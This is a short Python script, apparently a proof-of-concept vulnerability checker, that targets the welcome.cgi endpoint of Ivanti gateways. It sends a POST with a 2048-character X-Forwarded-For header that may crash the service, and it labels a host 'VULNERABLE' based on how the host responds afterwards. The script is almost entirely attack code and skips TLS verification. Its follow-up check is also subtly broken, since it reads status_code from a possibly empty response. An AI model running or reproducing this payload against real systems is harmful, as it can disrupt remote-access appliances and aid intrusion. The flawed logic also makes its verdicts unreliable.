import os
import time
import requests

TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
TIMEOUT = 10

class IvantiExploit:
    def __init__(self, host, port):
        self.host = host.rstrip("/")
        self.port = port

    def check_vuln(self):
        host = self.host
        if not host.startswith("http://") and not host.startswith("https://"):
            host = f"https://{host}"

        url = f"{host}:{self.port}{TARGET_PATH}"

        print(f"Testing {url}")

        #1  Pre-check: Check if target is reachable and status is 200.
        try:
            r1 = requests.get(url, timeout=TIMEOUT, verify=False)
        except requests.RequestException:
            r1 = None
        if not r1 or r1.status_code != 200:
            print("Pre-check failed because target is not reachable or status is not 200.")
            return False

        print("Pre-check successful.")

        #2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.

        payload_header = {"X-Forwarded-For": "1"*2048}
        try:
            r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
        except requests.RequestException:
            r2 = None
        if r2:
            print("Payload is not working.")
            return False
        else:
            print("Payload is working.")
        time.sleep(1)

        #3 Follow-up: Check if target is still reachable after payload.

        try:
            r3 = requests.get(url, timeout=TIMEOUT, verify=False)
        except requests.RequestException:
            r3 = None
        if r3.status_code == 200:
            print(f"VULNERABLE: {self.host}:{self.port}")
            return True

        print("Target seems safe")
        return False

if __name__ == "__main__":
    host = os.getenv("Host")
    port = os.getenv("Port")
    IvantiExploit(host, port).check_vuln()
